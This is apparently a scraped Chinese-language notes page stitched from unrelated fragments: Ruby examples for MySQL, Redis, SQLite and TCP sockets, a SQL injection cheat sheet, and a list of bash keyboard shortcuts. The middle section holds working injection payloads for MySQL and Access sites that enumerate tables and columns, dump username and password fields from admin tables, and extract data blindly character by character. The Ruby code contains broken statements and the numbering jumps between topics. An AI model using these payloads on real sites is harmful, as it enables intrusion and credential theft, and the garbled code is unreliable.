require'mysql' begin db = Mysql.init db.options(Mysql::SET_CHARSET_NAME, 'utf8') db = Mysql.real_connect("127.0.0.1", "root", "123456", "test", 3306) db.query("SET NAMES utf8") db.query("drop table if exists tb_test") db.query("create table tb_test (id int, text LONGTEXT) ENGINE=MyISAM DEFAULT CHARSET=utf8") db.query("insert into tb_test (id, text) values ( 1,'first line'),(2,'second line')") printf "%d rows were inserted\n",db.affected_rows rslt = db.query("select text from tb_test") while row = rslt.fetch_row do puts row[0] end rescueMysql::Error => e puts "Error code: #{e.errno}" puts "Error message: #{e.error}" puts "Error SQLSTATE: #{e.sqlstate}"if e.respond_to?("sqlstate") ensure db.close if db end
defwriteToFile(file,content) fp = File.new(file,"a+") if fp fp.syswrite(content) else puts "..." end end
defconnect(host) redis = Redis.new(:host => host,:port => 6379) redis.info.keys.each do |key| puts "#{key}:\t"+redis.info["#{key}"] end end
connect("1.1.1.1")
(3).sqlite3
1 2 3 4 5 6 7 8 9 10 11 12
require'sqlite3'
db = SQLite3::Database.new('test.db')
db.execute("create table test( ID integet not null, Username varchar(20) null, Password varchar(64) null)") db.execute("insert into test(ID.Username,Password) values('0','admin','admin')") db.execute("select * from test") db.execute("update test set password='12345' where id=0")
3.Ruby socket 服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
require'socket'
server = TCPServer.open('0.0.0.0', 8080) loop do Thread.start(server.accept) do |client| begin whiletrue puts "#{client.to_i} online" data = client.read() throw"empty"if data.empty? #puts data.length puts data end rescueException => e puts "#{client.to_i} offline" end end end
客户端:
1 2 3 4 5 6 7 8 9
require'socket'
hostname = '127.0.0.1' port = 8080 buf = 'test' s = TCPSocket.open(hostname, port) s.write buf sleep(1) s.close
xxx.php?id=1 and 1=2 union select 1, group_concat(username,0x3a,password),3 from user
3.使用内建数据库查询表段和字段 查表段:
1 2 3
xxx.php?id=1 and 1=2 union select 1,2,table_name from (select * from information_schema.tables where table_schema=数据库名的hex order by table_schema limit 0,1)t limit 1–
查字段:
1 2 3
xxx.php?id=1 and 1=2 union select 1,2,column_name from (select * from information_schema.columns where table_name=表名的hex and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–
这里可以再结合下concat的拼接功能
1 2 3 4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) from (select * from information_schema.columns where table_name=表名的hex and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1– [n表示第n条数据]
Access篇
猜表名
1
*.asp?id=1 and exists (select * from admin)
猜列名
1
*.asp?id=1 and exists (select password from admin)
Order by查询
1
*.asp?id=1 order by 3
union 查询
1
*.asp?id=1 union select 1,password,3 from admin
不支持union的情况 先判断内容的长度
1
*.asp?id=132 and (select top 1 len(user) from admin) >5
然后一个一个猜
1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97
编辑命令 Ctrl + a :移到命令行首 Ctrl + e :移到命令行尾 Ctrl + f :按字符前移(右向) Ctrl + b :按字符后移(左向) Alt + f :按单词前移(右向) Alt + b :按单词后移(左向) Ctrl + xx:在命令行首和光标之间移动 Ctrl + u :从光标处删除至命令行首 Ctrl + k :从光标处删除至命令行尾 Ctrl + w :从光标处删除至字首 Alt + d :从光标处删除至字尾 Ctrl + d :删除光标处的字符 Ctrl + h :删除光标前的字符 Ctrl + y :粘贴至光标后 Alt + c :从光标处更改为首字母大写的单词 Alt + u :从光标处更改为全部大写的单词 Alt + l :从光标处更改为全部小写的单词 Ctrl + t :交换光标处和之前的字符 Alt + t :交换光标处和之前的单词 Alt + Backspace:与 Ctrl + w 类似 重新执行命令 Ctrl + r:逆向搜索命令历史 Ctrl + g:从历史搜索模式退出 Ctrl + p:历史中的上一条命令 Ctrl + n:历史中的下一条命令 Alt + .:使用上一条命令的最后一个参数 控制命令 Ctrl + l:清屏 Ctrl + o:执行当前命令,并选择上一条命令 Ctrl + s:阻止屏幕输出 Ctrl + q:允许屏幕输出 Ctrl + c:终止命令 Ctrl + z:挂起命令 Bang (!)命令 !!:执行上一条命令 !blah:执行最近的以 blah 开头的命令,如 !ls !blah:p:仅打印输出,而不执行 !$:上一条命令的最后一个参数,与 Alt + . 相同 !$:p:打印输出 !$ 的内容 !:上一条命令的所有参数 !:p:打印输出 !* 的内容 ^blah:删除上一条命令中的 blah ^blah^foo:将上一条命令中的 blah 替换为 foo ^blah^foo^:将上一条命令中所有的 blah 都替换为 foo